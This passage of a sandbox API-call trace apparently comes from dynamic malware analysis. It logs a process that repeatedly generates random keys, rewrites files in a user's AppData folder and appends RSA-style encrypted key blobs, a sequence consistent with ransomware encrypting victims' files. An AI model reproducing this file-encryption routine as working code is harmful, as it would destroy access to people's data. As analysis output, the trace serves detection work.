lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.699] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.699] CloseHandle (hObject=0x1820) returned 1 [0168.708] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0168.709] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0168.709] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ab19f3b1-4de3-4827-bdbd-92a93a0211e5.up_meta_body", dwFileAttributes=0x80) returned 1 [0168.712] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.712] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.712] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.712] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0168.712] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.712] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.713] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.714] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.714] CloseHandle (hObject=0x1820) returned 1 [0168.715] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0168.715] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.715] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ab19f3b1-4de3-4827-bdbd-92a93a0211e5.up_meta", dwFileAttributes=0x80) returned 1 [0168.716] ReadFile (in: hFile=0x1820, lpBuffer=0x564e60, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x564e60*, lpNumberOfBytesRead=0x2e1f9bc*=0x112, lpOverlapped=0x0) returned 1 [0168.716] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.717] WriteFile (in: hFile=0x1820, lpBuffer=0x555d38*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555d38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x112, lpOverlapped=0x0) returned 1 [0168.717] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x112 [0168.717] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.717] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.717] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.718] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.721] CloseHandle (hObject=0x1820) returned 1 [0168.731] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.731] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.731] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ab19f3b1-4de3-4827-bdbd-92a93a0211e5.869b39b2-3c55-4cca-ace7-c38451c6270e.down_meta", dwFileAttributes=0x80) returned 1 [0168.737] ReadFile (in: hFile=0x1820, lpBuffer=0x2f6c1b0, nNumberOfBytesToRead=0x5c4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6c1b0*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c4, lpOverlapped=0x0) returned 1 [0168.779] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1476, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.779] WriteFile (in: hFile=0x1820, lpBuffer=0x582160*, nNumberOfBytesToWrite=0x5c4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c4, lpOverlapped=0x0) returned 1 [0168.779] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c4 [0168.779] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.779] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.780] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.780] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.780] CloseHandle (hObject=0x1820) returned 1 [0168.782] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.782] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.782] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\a116c3c2-b474-4a0b-b1e6-3a843c2ef6c5.up_meta_body", dwFileAttributes=0x80) returned 1 [0168.784] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3538, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.784] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.784] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.785] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0168.785] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.785] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.785] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.786] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.786] CloseHandle (hObject=0x1820) returned 1 [0168.788] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0168.788] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.788] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\a116c3c2-b474-4a0b-b1e6-3a843c2ef6c5.up_meta", dwFileAttributes=0x80) returned 1 [0168.788] ReadFile (in: hFile=0x1820, lpBuffer=0x564e60, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x564e60*, lpNumberOfBytesRead=0x2e1f9bc*=0x112, lpOverlapped=0x0) returned 1 [0168.789] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.789] WriteFile (in: hFile=0x1820, lpBuffer=0x555d38*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555d38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x112, lpOverlapped=0x0) returned 1 [0168.790] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x112 [0168.790] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.790] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.790] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.790] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.794] CloseHandle (hObject=0x1820) returned 1 [0168.801] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.801] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.802] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\a116c3c2-b474-4a0b-b1e6-3a843c2ef6c5.716c76a1-41e0-435c-8a2d-22b342f4f5b3.down_meta", dwFileAttributes=0x80) returned 1 [0168.802] ReadFile (in: hFile=0x1820, lpBuffer=0x2f6c008, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6c008*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c0, lpOverlapped=0x0) returned 1 [0168.806] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.806] WriteFile (in: hFile=0x1820, lpBuffer=0x582160*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c0, lpOverlapped=0x0) returned 1 [0168.806] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c0 [0168.806] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.806] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.807] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.807] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.807] CloseHandle (hObject=0x1820) returned 1 [0168.808] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.808] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0168.808] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\a0d57c50-0d39-47d0-b291-f2b7c6c11682.up_meta_body", dwFileAttributes=0x80) returned 1 [0168.811] ReadFile (in: hFile=0x1820, lpBuffer=0x5c3448, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.811] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.811] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.811] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0168.811] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.811] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.812] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.813] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.813] CloseHandle (hObject=0x1820) returned 1 [0168.814] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0168.815] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0168.815] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\a0d57c50-0d39-47d0-b291-f2b7c6c11682.up_meta", dwFileAttributes=0x80) returned 1 [0168.815] ReadFile (in: hFile=0x1820, lpBuffer=0x30ca430, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca430*, lpNumberOfBytesRead=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0168.816] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.816] WriteFile (in: hFile=0x1820, lpBuffer=0x30c9868*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30c9868*, lpNumberOfBytesWritten=0x2e1f9bc*=0xda, lpOverlapped=0x0) returned 1 [0168.816] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xda [0168.816] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.816] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.816] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.817] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.817] CloseHandle (hObject=0x1820) returned 1 [0168.819] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.819] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.819] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\a0d57c50-0d39-47d0-b291-f2b7c6c11682.49743f55-67dd-42a7-814a-bd0e811d42d3.down_meta", dwFileAttributes=0x80) returned 1 [0168.819] ReadFile (in: hFile=0x1820, lpBuffer=0x2f6be60, nNumberOfBytesToRead=0x5cc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6be60*, lpNumberOfBytesRead=0x2e1f9bc*=0x5cc, lpOverlapped=0x0) returned 1 [0168.858] SetFilePointer (in: hFile=0x1820, lDistanceToMove=-1484, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.858] WriteFile (in: hFile=0x1820, lpBuffer=0x582160*, nNumberOfBytesToWrite=0x5cc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5cc, lpOverlapped=0x0) returned 1 [0168.859] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5cc [0168.859] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.859] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.859] WriteFile (in: hFile=0x1820, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.859] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.859] CloseHandle (hObject=0x1820) returned 1 [0168.861] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0168.861] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0168.861] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\9a29fd3b-1f8e-479c-a6b3-db454582425c.up_meta_body", dwFileAttributes=0x80) returned 1 [0168.864] ReadFile (in: hFile=0x1820, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.864] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0168.865] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0168.865] SetFilePointer (in: hFile=0x1820, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0168.865] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0168.865] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0168.865] WriteFile (in: hFile=0x1820, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0168.866] WriteFile (in: hFile=0x1820, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0168.866] CloseHandle (hObject=0x1820) returned 1 [0168.868] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0168.868] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0168.868] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\9a29fd3b-1f8e-479c-a6b3-db454582425c.up_meta", dwFileAttributes=0x80) returned 1 [0168.868] ReadFile (in: hFile=0x1820, lpBuffer=0x30ca430, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: 